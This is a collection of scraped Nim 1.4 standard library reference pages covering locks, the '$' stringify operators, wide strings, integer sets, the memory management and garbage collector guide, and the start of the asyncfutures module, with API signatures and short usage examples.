[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L44) ``` proc release(lock: var Lock) {...}{.raises: [], tags: [].} ``` Releases the given lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L49) ``` proc initCond(cond: var Cond) {...}{.inline, raises: [], tags: [].} ``` Initializes the given condition variable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L55) ``` proc deinitCond(cond: var Cond) {...}{.inline, raises: [], tags: [].} ``` Frees the resources associated with the condition variable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L59) ``` proc wait(cond: var Cond; lock: var Lock) {...}{.inline, raises: [], tags: [].} ``` waits on the condition variable `cond`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L63) ``` proc signal(cond: var Cond) {...}{.inline, raises: [], tags: [].} ``` sends a signal to the condition variable `cond`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L67) Templates --------- ``` template withLock(a: Lock; body: untyped) ``` Acquires the given lock, executes the statements in body and releases the lock after the statements finish executing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L71)
programming_docs
nim dollars dollars ======= Imports ------- <since> Procs ----- ``` proc `$`(x: int): string {...}{.magic: "IntToStr", noSideEffect.} ``` The stringify operator for an integer argument. Returns `x` converted to a decimal string. `$` is Nim's general way of spelling toString. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L3) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L3) ``` proc `$`(x: uint64): string {...}{.noSideEffect, raises: [], tags: [].} ``` The stringify operator for an unsigned integer argument. Returns `x` converted to a decimal string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L23) ``` proc `$`(x: int64): string {...}{.magic: "Int64ToStr", noSideEffect.} ``` The stringify operator for an integer argument. Returns `x` converted to a decimal string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L43) ``` proc `$`(x: float): string {...}{.magic: "FloatToStr", noSideEffect.} ``` The stringify operator for a float argument. Returns `x` converted to a decimal string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L47) ``` proc `$`(x: bool): string {...}{.magic: "BoolToStr", noSideEffect.} ``` The stringify operator for a boolean argument. Returns `x` converted to the string "false" or "true". [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L51) ``` proc `$`(x: char): string {...}{.magic: "CharToStr", noSideEffect.} ``` The stringify operator for a character argument. Returns `x` converted to a string. ``` assert $'c' == "c" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L55) ``` proc `$`(x: cstring): string {...}{.magic: "CStrToStr", noSideEffect.} ``` The stringify operator for a CString argument. Returns `x` converted to a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L62) ``` proc `$`(x: string): string {...}{.magic: "StrToStr", noSideEffect.} ``` The stringify operator for a string argument. Returns `x` as it is. This operator is useful for generic code, so that `$expr` also works if `expr` is already a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L66) ``` proc `$`[Enum: enum](x: Enum): string {...}{.magic: "EnumToStr", noSideEffect.} ``` The stringify operator for an enumeration argument. This works for any enumeration type thanks to compiler magic. If a `$` operator for a concrete enumeration is provided, this is used instead. (In other words: *Overwriting* is possible.) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L71) ``` proc `$`(t: typedesc): string {...}{.magic: "TypeTrait".} ``` Returns the name of the given type. For more procedures dealing with `typedesc`, see [typetraits module](typetraits). ``` doAssert $(typeof(42)) == "int" doAssert $(typeof("Foo")) == "string" static: doAssert $(typeof(@['A', 'B'])) == "seq[char]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L78) ``` proc `$`[T: tuple | object](x: T): string ``` Generic `$` operator for tuples that is lifted from the components of `x`. Example: ``` $(23, 45) == "(23, 45)" $(a: 23, b: 45) == "(a: 23, b: 45)" $() == "()" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L106) ``` proc `$`[T](x: set[T]): string ``` Generic `$` operator for sets that is lifted from the components of `x`. Example: ``` ${23, 45} == "{23, 45}" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L156) ``` proc `$`[T](x: seq[T]): string ``` Generic `$` operator for seqs that is lifted from the components of `x`. Example: ``` $(@[23, 45]) == "@[23, 45]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L164) ``` proc `$`[T, U](x: HSlice[T, U]): string ``` Generic `$` operator for slices that is lifted from the components of `x`. Example: ``` $(1 .. 5) == "1 .. 5" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L172) ``` proc `$`[T, IDX](x: array[IDX, T]): string ``` Generic `$` operator for arrays that is lifted from the components. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L184) ``` proc `$`[T](x: openArray[T]): string ``` Generic `$` operator for openarrays that is lifted from the components of `x`. Example: ``` $(@[23, 45].toOpenArray(0, 1)) == "[23, 45]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/dollars.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/dollars.nim#L188) nim widestrs widestrs ======== Types ----- ``` Utf16Char = distinct int16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L17) ``` WideCString = ref UncheckedArray[Utf16Char] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L60) ``` WideCStringObj = WideCString ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L61) Procs ----- ``` proc len(w: WideCString): int {...}{.raises: [], tags: [].} ``` returns the length of a widestring. This traverses the whole string to find the binary zero end marker! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L68) ``` proc newWideCString(source: cstring; L: int): WideCStringObj {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L145) ``` proc newWideCString(s: cstring): WideCStringObj {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L165) ``` proc newWideCString(s: string): WideCStringObj {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L170) ``` proc `$`(w: WideCString; estimate: int; replacement: int = 0x0000FFFD): string {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L173) ``` proc `$`(s: WideCString): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/widestrs.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/widestrs.nim#L215) nim intsets intsets ======= The `intsets` module implements an efficient `int` set implemented as a sparse bit set. **Note**: Currently the assignment operator `=` for `IntSet` performs some rather meaningless shallow copy. Since Nim currently does not allow the assignment operator to be overloaded, use [assign proc](#assign,IntSet,IntSet) to get a deep copy. **See also:** * [sets module](sets) for more general hash sets Imports ------- <since>, <hashes>, <sequtils>, <algorithm> Types ----- ``` IntSet = object elems: int counter, max: int head: PTrunk data: TrunkSeq a: array[0 .. 33, int] ``` An efficient set of `int` implemented as a sparse bit set. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L45) Procs ----- ``` proc initIntSet(): IntSet {...}{.raises: [], tags: [].} ``` Returns an empty IntSet. See also: * [toIntSet proc](#toIntSet,openArray%5Bint%5D) **Example:** ``` var a = initIntSet() assert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L161) ``` proc contains(s: IntSet; key: int): bool {...}{.raises: [], tags: [].} ``` Returns true if `key` is in `s`. This allows the usage of `in` operator. **Example:** ``` var a = initIntSet() for x in [1, 3, 5]: a.incl(x) assert a.contains(3) assert 3 in a assert(not a.contains(8)) assert 8 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L180) ``` proc incl(s: var IntSet; key: int) {...}{.raises: [], tags: [].} ``` Includes an element `key` in `s`. This doesn't do anything if `key` is already in `s`. See also: * [excl proc](#excl,IntSet,int) for excluding an element * [incl proc](#incl,IntSet,IntSet) for including other set * [containsOrIncl proc](#containsOrIncl,IntSet,int) **Example:** ``` var a = initIntSet() a.incl(3) a.incl(3) assert len(a) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L205) ``` proc incl(s: var IntSet; other: IntSet) {...}{.raises: [], tags: [].} ``` Includes all elements from `other` into `s`. This is the in-place version of [s + other](#+,IntSet,IntSet). See also: * [excl proc](#excl,IntSet,IntSet) for excluding other set * [incl proc](#incl,IntSet,int) for including an element * [containsOrIncl proc](#containsOrIncl,IntSet,int) **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1) b.incl(5) a.incl(b) assert len(a) == 2 assert 5 in a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L235) ``` proc toIntSet(x: openArray[int]): IntSet {...}{.raises: [], tags: [].} ``` Creates a new IntSet that contains the elements of `x`. Duplicates are removed. See also: * [initIntSet proc](#initIntSet) **Example:** ``` var a = toIntSet([5, 6, 7]) b = toIntSet(@[1, 8, 8, 8]) assert len(a) == 3 assert len(b) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L256) ``` proc containsOrIncl(s: var IntSet; key: int): bool {...}{.raises: [], tags: [].} ``` Includes `key` in the set `s` and tells if `key` was already in `s`. The difference with regards to the [incl proc](#incl,IntSet,int) is that this proc returns `true` if `s` already contained `key`. The proc will return `false` if `key` was added as a new value to `s` during this call. See also: * [incl proc](#incl,IntSet,int) for including an element * [missingOrExcl proc](#missingOrExcl,IntSet,int) **Example:** ``` var a = initIntSet() assert a.containsOrIncl(3) == false assert a.containsOrIncl(3) == true assert a.containsOrIncl(4) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L274) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L274) ``` proc excl(s: var IntSet; key: int) {...}{.raises: [], tags: [].} ``` Excludes `key` from the set `s`. This doesn't do anything if `key` is not found in `s`. See also: * [incl proc](#incl,IntSet,int) for including an element * [excl proc](#excl,IntSet,IntSet) for excluding other set * [missingOrExcl proc](#missingOrExcl,IntSet,int) **Example:** ``` var a = initIntSet() a.incl(3) a.excl(3) a.excl(3) a.excl(99) assert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L309) ``` proc excl(s: var IntSet; other: IntSet) {...}{.raises: [], tags: [].} ``` Excludes all elements from `other` from `s`. This is the in-place version of [s - other](#-,IntSet,IntSet). See also: * [incl proc](#incl,IntSet,IntSet) for including other set * [excl proc](#excl,IntSet,int) for excluding an element * [missingOrExcl proc](#missingOrExcl,IntSet,int) **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1) a.incl(5) b.incl(5) a.excl(b) assert len(a) == 1 assert 5 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L327) ``` proc len(s: IntSet): int {...}{.inline, raises: [], tags: [].} ``` Returns the number of elements in `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L349) ``` proc missingOrExcl(s: var IntSet; key: int): bool {...}{.raises: [], tags: [].} ``` Excludes `key` in the set `s` and tells if `key` was already missing from `s`. The difference with regards to the [excl proc](#excl,IntSet,int) is that this proc returns `true` if `key` was missing from `s`. The proc will return `false` if `key` was in `s` and it was removed during this call. See also: * [excl proc](#excl,IntSet,int) for excluding an element * [excl proc](#excl,IntSet,IntSet) for excluding other set * [containsOrIncl proc](#containsOrIncl,IntSet,int) **Example:** ``` var a = initIntSet() a.incl(5) assert a.missingOrExcl(5) == false assert a.missingOrExcl(5) == true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L358) ``` proc clear(result: var IntSet) {...}{.raises: [], tags: [].} ``` Clears the IntSet back to an empty state. **Example:** ``` var a = initIntSet() a.incl(5) a.incl(7) clear(a) assert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L380) ``` proc isNil(x: IntSet): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L401) ``` proc assign(dest: var IntSet; src: IntSet) {...}{.raises: [], tags: [].} ``` Copies `src` to `dest`. `dest` does not need to be initialized by [initIntSet proc](#initIntSet). **Example:** ``` var a = initIntSet() b = initIntSet() b.incl(5) b.incl(7) a.assign(b) assert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L403) ``` proc union(s1, s2: IntSet): IntSet {...}{.raises: [], tags: [].} ``` Returns the union of the sets `s1` and `s2`. The same as [s1 + s2](#+,IntSet,IntSet). **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1); a.incl(2); a.incl(3) b.incl(3); b.incl(4); b.incl(5) assert union(a, b).len == 5 ## {1, 2, 3, 4, 5} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L446) ``` proc intersection(s1, s2: IntSet): IntSet {...}{.raises: [], tags: [].} ``` Returns the intersection of the sets `s1` and `s2`. The same as [s1 \* s2](#*,IntSet,IntSet). **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1); a.incl(2); a.incl(3) b.incl(3); b.incl(4); b.incl(5) assert intersection(a, b).len == 1 ## {3} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L462) ``` proc difference(s1, s2: IntSet): IntSet {...}{.raises: [], tags: [].} ``` Returns the difference of the sets `s1` and `s2`. The same as [s1 - s2](#-,IntSet,IntSet). **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1); a.incl(2); a.incl(3) b.incl(3); b.incl(4); b.incl(5) assert difference(a, b).len == 2 ## {1, 2} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L480) ``` proc symmetricDifference(s1, s2: IntSet): IntSet {...}{.raises: [], tags: [].} ``` Returns the symmetric difference of the sets `s1` and `s2`. **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1); a.incl(2); a.incl(3) b.incl(3); b.incl(4); b.incl(5) assert symmetricDifference(a, b).len == 4 ## {1, 2, 4, 5} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L498) ``` proc `+`(s1, s2: IntSet): IntSet {...}{.inline, raises: [], tags: [].} ``` Alias for [union(s1, s2)](#union,IntSet,IntSet). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L513) ``` proc `*`(s1, s2: IntSet): IntSet {...}{.inline, raises: [], tags: [].} ``` Alias for [intersection(s1, s2)](#intersection,IntSet,IntSet). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L517) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L517) ``` proc `-`(s1, s2: IntSet): IntSet {...}{.inline, raises: [], tags: [].} ``` Alias for [difference(s1, s2)](#difference,IntSet,IntSet). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L521) ``` proc disjoint(s1, s2: IntSet): bool {...}{.raises: [], tags: [].} ``` Returns true if the sets `s1` and `s2` have no items in common. **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1); a.incl(2) b.incl(2); b.incl(3) assert disjoint(a, b) == false b.excl(2) assert disjoint(a, b) == true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L525) ``` proc card(s: IntSet): int {...}{.inline, raises: [], tags: [].} ``` Alias for [len()](#len,IntSet). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L542) ``` proc `<=`(s1, s2: IntSet): bool {...}{.raises: [], tags: [].} ``` Returns true if `s1` is subset of `s2`. A subset `s1` has all of its elements in `s2`, and `s2` doesn't necessarily have more elements than `s1`. That is, `s1` can be equal to `s2`. **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1) b.incl(1); b.incl(2) assert a <= b a.incl(2) assert a <= b a.incl(3) assert(not (a <= b)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L546) ``` proc `<`(s1, s2: IntSet): bool {...}{.raises: [], tags: [].} ``` Returns true if `s1` is proper subset of `s2`. A strict or proper subset `s1` has all of its elements in `s2`, but `s2` has more elements than `s1`. **Example:** ``` var a = initIntSet() b = initIntSet() a.incl(1) b.incl(1); b.incl(2) assert a < b a.incl(2) assert(not (a < b)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L568) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L568) ``` proc `==`(s1, s2: IntSet): bool {...}{.raises: [], tags: [].} ``` Returns true if both `s1` and `s2` have the same elements and set size. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L584) ``` proc `$`(s: IntSet): string {...}{.raises: [], tags: [].} ``` The `$` operator for int sets. Converts the set `s` to a string, mostly for logging and printing purposes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L588) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L588) Iterators --------- ``` iterator items(s: IntSet): int {...}{.inline, raises: [], tags: [].} ``` Iterates over any included element of `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/intsets.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/intsets.nim#L138)
programming_docs
nim Nim's Memory Management Nim's Memory Management ======================= > "The road to hell is paved with good intentions." > > Introduction ------------ This document describes how the multi-paradigm memory management strategies work. How to tune the garbage collectors for your needs, like (soft) realtime systems, and how the memory management strategies that are not garbage collectors work. Multi-paradigm Memory Management Strategies ------------------------------------------- To choose the memory management strategy use the `--gc:` switch. * `--gc:refc`. This is the default GC. It's a deferred reference counting based garbage collector with a simple Mark&Sweep backup GC in order to collect cycles. Heaps are thread-local. * `--gc:markAndSweep`. Simple Mark-And-Sweep based garbage collector. Heaps are thread-local. * `--gc:boehm`. Boehm based garbage collector, it offers a shared heap. * `--gc:go`. Go's garbage collector, useful for interoperability with Go. Offers a shared heap. * `--gc:arc`. Plain reference counting with [move semantic optimizations](destructors#move-semantics), offers a shared heap. It offers deterministic performance for hard realtime systems. Reference cycles cause memory leaks, beware. * `--gc:orc`. Same as `--gc:arc` but adds a cycle collector based on "trial deletion". Unfortunately, that makes its performance profile hard to reason about so it is less useful for hard real-time systems. * `--gc:none`. No memory management strategy nor a garbage collector. Allocated memory is simply never freed. You should use `--gc:arc` instead. | Memory Management | Heap | Reference Cycles | Stop-The-World | Command line switch | | --- | --- | --- | --- | --- | | RefC | Local | Cycle Collector | No | `--gc:refc` | | Mark & Sweep | Local | Cycle Collector | No | `--gc:markAndSweep` | | ARC | Shared | Leak | No | `--gc:arc` | | ORC | Shared | Cycle Collector | No | `--gc:orc` | | Boehm | Shared | Cycle Collector | Yes | `--gc:boehm` | | Go | Shared | Cycle Collector | Yes | `--gc:go` | | None | Manual | Manual | Manual | `--gc:none` | JavaScript's garbage collector is used for the [JavaScript and NodeJS](backends#backends-the-javascript-target) compilation targets. The [NimScript](nims) target uses the memory management strategy built into the Nim compiler. Tweaking the refc GC -------------------- ### Cycle collector The cycle collector can be en-/disabled independently from the other parts of the garbage collector with `GC_enableMarkAndSweep` and `GC_disableMarkAndSweep`. ### Soft real-time support To enable real-time support, the symbol useRealtimeGC needs to be defined via `--define:useRealtimeGC` (you can put this into your config file as well). With this switch the garbage collector supports the following operations: ``` proc GC_setMaxPause*(maxPauseInUs: int) proc GC_step*(us: int, strongAdvice = false, stackSize = -1) ``` The unit of the parameters `maxPauseInUs` and `us` is microseconds. These two procs are the two modus operandi of the real-time garbage collector: (1) GC\_SetMaxPause Mode > You can call `GC_SetMaxPause` at program startup and then each triggered garbage collector run tries to not take longer than `maxPause` time. However, it is possible (and common) that the work is nevertheless not evenly distributed as each call to `new` can trigger the garbage collector and thus take `maxPause` time. > > (2) GC\_step Mode > > This allows the garbage collector to perform some work for up to `us` time. This is useful to call in the main loop to ensure the garbage collector can do its work. To bind all garbage collector activity to a `GC_step` call, deactivate the garbage collector with `GC_disable` at program startup. If `strongAdvice` is set to `true`, then the garbage collector will be forced to perform the collection cycle. Otherwise, the garbage collector may decide not to do anything, if there is not much garbage to collect. You may also specify the current stack size via `stackSize` parameter. It can improve performance when you know that there are no unique Nim references below a certain point on the stack. Make sure the size you specify is greater than the potential worst-case size. > > It can improve performance when you know that there are no unique Nim references below a certain point on the stack. Make sure the size you specify is greater than the potential worst-case size. > > These procs provide a "best effort" real-time guarantee; in particular the cycle collector is not aware of deadlines. Deactivate it to get more predictable real-time behaviour. Tests show that a 1ms max pause time will be met in almost all cases on modern CPUs (with the cycle collector disabled). ### Time measurement with garbage collectors The garbage collectors' way of measuring time uses (see `lib/system/timers.nim` for the implementation): 1. `QueryPerformanceCounter` and `QueryPerformanceFrequency` on Windows. 2. `mach_absolute_time` on Mac OS X. 3. `gettimeofday` on Posix systems. As such it supports a resolution of nanoseconds internally; however, the API uses microseconds for convenience. Define the symbol `reportMissedDeadlines` to make the garbage collector output whenever it missed a deadline. The reporting will be enhanced and supported by the API in later versions of the collector. ### Tweaking the garbage collector The collector checks whether there is still time left for its work after every `workPackage`'th iteration. This is currently set to 100 which means that up to 100 objects are traversed and freed before it checks again. Thus `workPackage` affects the timing granularity and may need to be tweaked in highly specialized environments or for older hardware. Keeping track of memory ----------------------- If you need to pass around memory allocated by Nim to C, you can use the procs `GC_ref` and `GC_unref` to mark objects as referenced to avoid them being freed by the garbage collector. Other useful procs from <system> you can use to keep track of memory are: * `getTotalMem()` Returns the amount of total memory managed by the garbage collector. * `getOccupiedMem()` Bytes reserved by the garbage collector and used by objects. * `getFreeMem()` Bytes reserved by the garbage collector and not in use. * `GC_getStatistics()` Garbage collector statistics as a human-readable string. These numbers are usually only for the running thread, not for the whole heap, with the exception of `--gc:boehm` and `--gc:go`. In addition to `GC_ref` and `GC_unref` you can avoid the garbage collector by manually allocating memory with procs like `alloc`, `alloc0`, `allocShared`, `allocShared0` or `allocCStringArray`. The garbage collector won't try to free them, you need to call their respective *dealloc* pairs (`dealloc`, `deallocShared`, `deallocCStringArray`, etc) when you are done with them or they will leak. Heap dump --------- The heap dump feature is still in its infancy, but it already proved useful for us, so it might be useful for you. To get a heap dump, compile with `-d:nimTypeNames` and call `dumpNumberOfInstances` at a strategic place in your program. This produces a list of the used types in your program and for every type the total amount of object instances for this type as well as the total amount of bytes these instances take up. This list is currently unsorted! You need to use external shell script hacking to sort it. The numbers count the number of objects in all garbage collector heaps, they refer to all running threads, not only to the current thread. (The current thread would be the thread that calls `dumpNumberOfInstances`.) This might change in later versions. nim asyncfutures asyncfutures ============ Imports ------- <os>, <tables>, <strutils>, <times>, <heapqueue>, <options>, <deques>, <cstrutils>, <stacktraces> Types ----- ``` FutureBase = ref object of RootObj callbacks: CallbackList finished: bool error*: ref Exception ## Stored exception errorStackTrace*: string when not false: stackTrace: seq[StackTraceEntry] ## For debugging purposes only. id: int fromProc: string ``` Untyped future. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L22) ``` Future[T] = ref object of FutureBase value: T ## Stored value ``` Typed future. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L33) ``` FutureVar[T] = distinct Future[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L36) ``` FutureError = object of Defect cause*: FutureBase ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L38) Consts ------ ``` isFutureLoggingEnabled = false ``` 